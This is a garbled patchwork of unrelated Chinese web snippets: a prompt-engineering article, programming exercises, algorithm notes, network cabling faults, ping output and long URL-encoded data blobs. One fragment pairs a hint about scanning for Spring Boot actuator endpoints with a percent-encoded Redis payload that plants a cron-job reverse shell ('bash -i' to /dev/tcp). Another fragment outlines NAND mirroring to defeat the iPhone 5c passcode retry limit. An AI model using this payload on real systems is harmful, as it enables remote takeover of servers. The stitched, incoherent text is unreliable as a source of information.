今天我们要聊的5C提示词工程框架,就是要教你如何和AI进行"有效沟通",让它真正成为你的贴心助手。 图1:传统AI对话 vs 5C框架对话的效果对比 帮你搞定工作汇报的那些事儿想象一下这个场景:你是一名产品经理,下周一要向老板汇报AI助手产品的市场调研结果。时间紧,任务重,但你又想做得漂亮一点。 我们就用这个场景来贯穿整篇文章,看看5C框架如何一步步帮你搞定这个任务。第一个C:清晰度(Clarity) - 说人话,别绕弯子什么是清晰度?清晰度就是说人话。 技巧3:多角度验证请分别从用户、厂商、渠道商三个角度评估这个产品策略的可行性总结:5C框架的核心价值通过我们这个市场分析的完整案例,你应该能感受到5C框架的威力了:清晰度让AI理解你的真实需求上下文让AI 给出贴合实际的建议命令让AI输出你想要的格式链式让复杂任务变得可控持续优化让结果越来越完美图7:5C框架带来的综合价值 最重要的是,这个框架不仅适用于工作场景,学习、生活中的任何AI交互都能用上。
本系列是《玩转机器学习教程》一个整理的视频笔记。前一小节实现了简单线性回归,但是性能比较低。本小节主要介绍使用向量化的方式提升性能。
日志元数据是从零开始创建 WordPress 主题系列教程的五篇的第三部分,今天我们将开始讲解日志的元数据(Postmetadata):日期(date),分类(categories),作者(author),评论数(number of comments),以及其他和日志有关系的信息。
mongo登录认证失败, 求教如何解决 5C 登陆认证两种方式,一种先登陆在认证:db.auth("xxx","xxx"); 一种直接认证:mongo -u xxx -p xxx --authenticationDatabase
请求转发,其实是使用 webpack-dev-server 的代理功能来实现的,本节为大家介绍 webpack-dev-server 的代理功能和主要使用场景。
最近剑桥大学一名安全研究人员Sergei Skorobogatov研究出一种NAND镜像技术,完全能够绕过iPhone 5c的密码重试次数限制,更悲剧的是,成本只需要100美元! 很多技术专家都认为,圣贝纳迪诺枪击案中的那台iPhone 5c应该就是用NAND镜像的方式进行破解的,但业内始终都没有真正行之有效的PoC出现。 iPhone 5c之上的NAND芯片不仅焊在LGA无引线封装中,而且还用环氧化合物强力胶,加上不破坏周围的组件,拆卸时对加热的高温也有控制要求。 ? ,将这颗闪存芯片装到需要破解的那台iPhone 5c上。就像前面说的一样,每台iPhone的UID是不一样的,所以装上去之后,肯定是不能正常开机的。 将原有的NAND芯片接回到iPhone 5c,开机试密码,6次错误后关机。再把NAND芯片卸下,接到测试板上。
习题5-4 使用函数求素数和 本题要求实现一个判断素数的简单函数、以及利用该函数计算给定区间内素数和的函数。 素数就是只能被1和自身整除的正整数。注意:1不是素数,2是素数。
一、题目描述 本题要求编写程序,计算交错序列 1-2/3+3/5-4/7+5/9-6/11+... 的前N项之和。 输入格式: 输入在一行中给出一个正整数N。 输入样例: 5 输出样例: 0.917 二、思路分析 观察交错序列 1-2/3+3/5-4/7+5/9-6/11+...发现, 分子:1,2,3,4,5,6...
的最短路径,所以之前无法到达的顶点(4、6),在该步骤就可以通过顶点5间接的到达了 于是再次统计距离 dist 1-2:270 dist 1-3:300 dist 1-4 > 1-5 (200) + 5- 3 细节来了,注意看这里的顶点4,由于前两步我们打通了顶点2、5的最短距离,因此到达顶点4的路径有两条: dist 1-4 > 1-5 (200) + 5-4(260):460 1-2 (270) + 最终统计的距离 dist 1-2:270 dist 1-3:300 dist 1-4 > 1-5 (200) + 5-4(260):460 dist 1-5:200 dist 1-6 > 1-5 (200 dist 1-2:270 dist 1-3:300 dist 1-4 > 1-5 (200) + 5-4(260):460 dist 1-5:200 dist 1-6 > 1-3 (300) + 3-6 5 dist 1-2:270 dist 1-3:300 dist 1-4 > 1-5 (200) + 5-4(260):460 dist 1-5:200 dist 1-6 > 1-3 (300) +
通过扫描所有子域名ip,从中找到spring boot框架的网站, ctuator/auditLog actuator/auditevents actuator/autoconfig actuator/ %75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%35%39%0d%0a%5c %6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70% 2f%31%32%37%2e%30%2e%30%2e%31%3a%31%32%32%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a 2f%31%32%37%2e%30%2e%30%2e%31%3a%31%32%32%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a
count+1 sum=sum+eval(s) s=input() print("该歌手最终成绩为{:.1f}".format(sum/count)) 【PYTHON】1-2/3+3/5- #循环 题目描述 求和 1-2/3+3/5-4/7+5/9-6/11+...
30%32%30%5c%75%30%30%35%33%5c%75%30%30%37%34%5c%75%30%30%37%32%5c%75%30%30%36%39%5c%75%30%30%36%65%5c 32%5c%75%30%30%33%33%5c%75%30%30%36%33%5c%75%30%30%33%36%5c%75%30%30%36%35%5c%75%30%30%33%30%5c%75%30% 30%36%32%5c%75%30%30%33%38%5c%75%30%30%36%31%5c%75%30%30%33%39%5c%75%30%30%36%33%5c%75%30%30%33%31%5c 32%5c%75%30%30%33%62%5c%75%30%30%32%30%5c%75%30%30%35%33%5c%75%30%30%37%34%5c%75%30%30%37%32%5c%75%30% 30%36%39%5c%75%30%30%36%65%5c%75%30%30%36%37%5c%75%30%30%32%30%5c%75%30%30%37%30%5c%75%30%30%36%31%5c
%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9L%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F %5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0b%5C%2F%5C%2F%5C%2F%5C%2F%5C %5C%2FR%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C% 5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9K%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C% %5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FSf%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C
Dubbo是一个分布式服务框架,致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。 简单的说,dubbo就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有dubbo这样的分布式服务框架的需求,并且本质上是个服务调用的东东,说白了就是个远程服务调用的分布式框架 远程通讯: 提供对多种基于长连接的NIO框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。 2.
该索引平均在每台节点的分片数)复制4、计算每个索引在所有节点的权重及差值假设先遍历到index1,index1在3台节点上的分片个数分别为3、2、1,index1在每台节点上的权重分别为:node1:(5- 4)* 0.45 + (3-2)*0.55 = 1node2:(5-4)* 0.45 + (2-2)*0.55 = 0.45node3:(2-4)* 0.45 + (1-2)*0.55 = -1.45index1 在3台节点的权重差为最大值减去最小值=1+1.45=2.45 > 1复制index2在3台节点上的分片个数分别为2、3、1,index2在每台节点上的权重分别为:node1:(5-4)* 0.45 + (2-2)*0.55 = 0.45node2:(5-4)* 0.45 + (3-2)*0.55 = 1node3:(2-4)* 0.45 + (1-2)*0.55 = -1.45index2在3台节点的权重差为最大值减去最小值 此时就是node1上的分片少了一个,node3上的分片多了一个),试图迁移中index1在每个节点上的权重分别为:node1:(4-4)* 0.45 + (2-2)*0.55 = 0.0 node2:(5-
我们日常最熟悉的表达形式就是中缀表达式,如下所示: 5-4\*3/(2+1) 中缀表达式最符合人类的书写和阅读习惯,但对于计算机来说,它却并不友好。 流程如下: 二、前缀表达式 前缀表达式又称波兰表达式,其特点是:运算符写在两个操作数的前面,如下所示: -5\*4/3+12 该前缀表达式所对应的中缀表达式是 5-4\*3/(2+1) 前缀表达式的优势在于 三、后缀表达式(重点) 后缀表达式也叫逆波兰表达式,其特点是:运算符写在两个操作数之后,比如: 54321+/\*- 该后缀表达式所对应的中缀表达式同样是 5-4\*3/(2+1) 后缀表达式的优势 不需要括号
反接故障——反接是因为进行端接操作时将同一线对在铜缆两端的针位接反了,比如一端为5-4,另一端却为4-5。 错对故障——错对就是将一对线接到另一端的另一对线上,比如一端接在了5-4针上,另一端却接在了3-6针上。 串绕故障——串绕是将原来的两对线分别拆开后又重新组成的线对,包括分岔线对、分离线对和拆分线对。
%22v%5c%22%3a6%2c%5c%22slp%5c%22%3a%7b%5c%22st%5c%22%3a0%2c%5c%22ed%5c%22%3a0%2c%5c%22dp%5c%22%3a0%2c %5c%22lt%5c%22%3a0%2c%5c%22wk%5c%22%3a0%2c%5c%22usrSt%5c%22%3a-1440%2c%5c%22usrEd%5c%22%3a-1440%2c%5c %22wc%5c%22%3a0%2c%5c%22is%5c%22%3a0%2c%5c%22lb%5c%22%3a0%2c%5c%22to%5c%22%3a0%2c%5c%22dt%5c%22%3a0%2c %5c%22%3a0%2c%5c%22cal%5c%22%3a0%2c%5c%22wk%5c%22%3a0%2c%5c%22rn%5c%22%3a0%2c%5c%22runDist%5c%22%3a0% 2c%5c%22runCal%5c%22%3a0%2c%5c%22stage%5c%22%3a%5b%5d%7d%2c%5c%22goal%5c%22%3a0%2c%5c%22tz%5c%22%3a%5c
(240e:97c:2f:1::5c)) 56 data bytes64 bytes from 240e:97c:2f:1::5c (240e:97c:2f:1::5c): icmp_seq=1 ttl =49 time=41.1 ms64 bytes from 240e:97c:2f:1::5c (240e:97c:2f:1::5c): icmp_seq=2 ttl=49 time=41.0 ms64 bytes from 240e:97c:2f:1::5c (240e:97c:2f:1::5c): icmp_seq=3 ttl=49 time=41.1 ms64 bytes from 240e:97c :2f:1::5c (240e:97c:2f:1::5c): icmp_seq=4 ttl=49 time=41.1 ms64 bytes from 240e:97c:2f:1::5c (240e:97c :2f:1::5c): icmp_seq=5 ttl=49 time=41.1 ms64 bytes from 240e:97c:2f:1::5c (240e:97c:2f:1::5c): icmp_seq
%22%3A%22%7B%5C%22vs%5C%22%3A%5C%221.0%5C%22%2C%5C%22pver%5C%22%3A%5C%220.6.8%5C%22%2C%5C%22sver%5C%22% 3A%5C%221.0%5C%22%2C%5C%22site%5C%22%3A1%2C%5C%22aw%5C%22%3A%5C%22w%5C%22%2C%5C%22fu%5C%22%3A0%2C%5C% 22d%5C%22%3A%5C%220%5C%22%2C%5C%22bt%5C%22%3A%5C%22pc%5C%22%2C%5C%22os%5C%22%3A%5C%22win%5C%22%2C%5C% 22osv%5C%22%3A%5C%227%5C%22%2C%5C%22dq%5C%22%3A%5C%22auto%5C%22%2C%5C%22atm%5C%22%3A%5C%22%5C%22%2C%5C %22partnerid%5C%22%3A%5C%22null%5C%22%2C%5C%22wintype%5C%22%3A%5C%22interior%5C%22%2C%5C%22isvert%5C%